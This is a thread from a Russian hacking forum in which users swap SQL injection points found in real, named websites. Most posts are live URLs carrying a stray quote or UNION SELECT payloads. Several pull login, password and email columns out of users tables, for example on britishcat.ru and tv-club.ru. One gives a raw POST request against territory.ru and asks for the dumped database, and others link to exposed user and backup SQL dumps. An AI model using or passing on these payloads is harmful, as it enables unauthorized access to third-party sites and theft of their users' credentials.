|
Sql Инъекции
Постим здесь скуль инъекции! Флейм/оффтоп будет жестоко удаляться + будет испорчена репа.
Перед тем как запостить инъекцию, проверьте не выкладывалась ли она ранее: ========> АНТИБОЯН <======== Вбиваем site:forum.antichat.ru "СЮДА СВОЮ СКУЛЬ" и жмём эту кнопочку. Всё просто!!! Попробуй, тебе понравится!!! -------------------------------------------------------------------------------------------------------------- Правила этой темы: 1. Что бы избежать дальнейших накруток и притензий, ограничтесь при выставление репутации в этой теме её колличеством от 1 до 3. При оценивание постов в этой теме, старайтесь сделать это как можно более рационально - не стоит ставить +3 за не полностью раскрученную инъекцию. Многие инъекции, которые вы выкладываете, "не доведены до ума", иногда кажется, что это всё выкладывается только, что бы запостить пост и показать, что ты умеешь делать sql инъекции, в результате получается большая активность. Только толку от неё нету, пробуйте не просто подбирать кол-во колонок, выводить инфу о БД, но и подбирать таблицы и имена колонок. 2. Инъекции вида: Код:
http://site.ru/index.php?a='3. По причине участившихся дефейсов принято решение не публиковать в теме пароли и хеши к админкам Они будут удаляться, а нарушители наказываться |
Как увидел тему, сразу захотелось стать ПервоНахом. Думал, где искать скули и на ум почему-то пришли только они - ПИДОРЫ. гыггыг
Итог: http://www.gaycentral.ru/news/?id=30' Правда дальше не копался. Думаю, что будет удобно новичкам, так как виден полный текст запроса. Дальше, снизу было написано Made by KAMOV Media (gayly.ru) После чего было найдено http://www.gayly.ru/news/archive/?year=2'005&month=12 аналогично. АнтиПидорсОфАнтичат. ;) P.S. Монстер, с тебя простава мне, как первонаху.... гыгыгыгг |
_http://csmania.ru/modules.php?name=Articles&pa=showarticle&articles_ id=8'
Улыбнуло -) |
ht~tp://www.patrickharviemsp.com/index.php?page=news.php&story=49%20union%20select% 201,2,3,4,5/*
|
TV-CLUB.RU(его рекламу по Ren-TV крутят)
_http://tv-club.ru/catalog.php?id=-7+union+select+name+from+users+where+id=user_id/* _http://tv-club.ru/catalog.php?id=-7+union+select+password+from+users+where+id=user_i d/* _http://tv-club.ru/catalog.php?id=-7+union+select+email+from+users+where+id=user_id/* |
_http://www.mediaprovinces.kz/index.php?r=8c=174'9
|
_http://ganjubass.com/info.php?id=999999999999+union+select+1,2,3,4,5,6, 7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24 ,25,26,27,28,29,30,31,32,33,34,35/* (вобще сайт сам одна большая скуль)
_http://www.lion.kz/show_news.php?id=872%27 |
_http://livestats.micromir.com/view.php?order=ip&pg=5'
|
http://cs-maps.org/index.php?page=maplist.php&type=dm&source=N&sort=d ate'&pageno=1
мои пять копеек :) |
_http://www.fitness.ru/clubs/timetable.phtml?ClubID=17'
|
_http://www.zapaxa.net/?act=detail&id=23'3
_http://www.elabuga.ru/virt1.phtml?rait=7&cat=1'3 _http://www.fitness.ru/clubs/timetable.phtml?ClubID=1'7 _http://www.0577.ru/imode/south/?winers=33' |
_http://parnas.baltika.ru/forum/?rand=35191&fold_id=14&forumid=1'
|
_http://gsmfilm.ru/page.php?page=-102+union+select+111,222,333/*
|
_http://avtostarter.com/obzor.php?page=1'
|
Для тех, кому не по душе клубик ЦСКА. ;)
Код:
http://www.peski.ru/gbook/find/index.php?nik=88&pr1=%3E%3D&d1=16&m1=07&y1=2006&pr2=%3C%3D&d2=23&m2=07&y2=2006&invis=1&mess=88'/*&mail=88&ipf=88&sort=0 |
Код:
http://www.swadba.by/include.php?dir=http:// |
Вот красивый сайтик, но....
Код:
_http://bknt.ru/library/?cat=2609\'/*иid=1916 |
Я на шел вот странички
cvs.php.net/viewcvs.cgi/php-master-web/users.sql wiki.cs.cityu.edu.hk/src/users.sql Можно ли, что-нибудь с ними сделать |
_http://www.dreamtech.ru/Kino/CardView.phtml?id=-1 union select 1,2,3,4/*
|
_http://www.sibdosug.com/details.php?id=310'
Я там так и не смог подобрать число столбцов((( А по идеи весь этот сайт полная sql-inj |
давно я сюда не заходил...
_http://porto.com.ua/?pg=catalog |
Цитата:
http://www.calibra-club.ru/profileclub.php?mode=viewprofile&u=17' Правда дальше раскопать не получилось. Такое чувство, что это не скуль, а подстава. |
http://test.acunetix.com/artists.php?artist=3333 union select 111,222,333/*-
Так просто разберался со сканером, вот решил посмотреть что они предлагают для тестирования))) |
2podkashey http://porto.com.ua/?pg=phpinfo =)
|
Два провайдера:
http://medialite-net.ru/about\' http://sknt.ru В cookies: KEngineSession: \' union select 1,2,3,4,5/* |
la2info.ru
Код:
_http://la2info.ru/db.php?action=npcs(АМПЕРСАНД)npcid=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34/* |
http://www.supercomputingonline.com/article.php?sid=2252
http://www.worthplaying.com/article.php?sid=31196 http://www.gamingreport.com/article.php?sid=21543 |
Go0o$E
Вот тебе база http://medialite-net.ru , _http://emiq.nm.ru/bacup.sql качай ))) |
SQL injection на injection.ru =))
Код:
_http://injection.ru/?id=-1 union select 1,2,3,4,5,6,7,8,9/* |
Цитата:
install/upgrade.php install/upgrade_301.php?step=\' |
epidem.ru
http://epidem.ru/modules.php?name=News&pagenum=\' |
Цитата:
ИМХО скуль в LIMIT находится, смысла поэтому в нем не много. ;) Для тех кто хочет покопаться в Postgresql: http://club.veresk.ru/?part_id=18-1%20union%20select%20version() |
Вот нашел:
http://www.britishcat.ru/articles.html?Action=ShowArticle&Article=8-1+union+select+111,222,333,444,555/* После 20 мин получилось вот такое )) : Код:
http://www.britishcat.ru/articles.html?Action=ShowArticle&Article=8-1+union+select+111,222,333,444,CONCAT('ID=',id,'%20Login=',Login,'%20Passord=',password,'%20Mail=',%20email,'%20ICQ=',icq)+from+users/* |
sql иньекция в сбербанке )
http://www.vsb.vrn.ru/vbank/branches.asp?bk=1%20UNION%20SSS |
Sql на www.territory.ru
POST http://www.territory.ru/info/news/index.php?show=cat&id=0 HTTP/1.0 Accept: */* Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322) Host: www.territory.ru Content-Length: 57 Connection: Close Pragma: no-cache show=login&login='&password=123email@123.com 2 Tem Если сможешь тут слить базу, ОЧЕНЬ буду признателен, если скинешь ее и мне. 8) |
https://secure.mysociety.org/ cvstrac/getfile/mysociety/twfy/db/users.sql
home.southernct.edu/~dorrt1/work/lablog/admins.sql members.home.nl/j.fridzema/database.sql |
Вот, поднакопилось.
Код:
http://www.4webhelp.net/tutorials/?cid=9%20union%20select%201,2,user_password,4,5,6%20from%20users/* |
вот еще одна
http://albatros.uz/index.php?option=content&task=view&id=6&Itemid=30' |
а вот на wap.wab.ru
при отправке письма выдает: Ошибка при отправке письма! Попробуйте еще раз. ERROR You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near 'Юзернейм')and(idtowhom = '515488')and(topic = ''') limit 1' at lin |
Вот нашел только вот толку маловато наверно, так как я не могу найти таблицу users
_http://www.yuretz.ru/prikol.php?id=470+union+select+0,1,2,3,4,5,6,7,8,9 ,10,11/* |
| Время: 23:49 |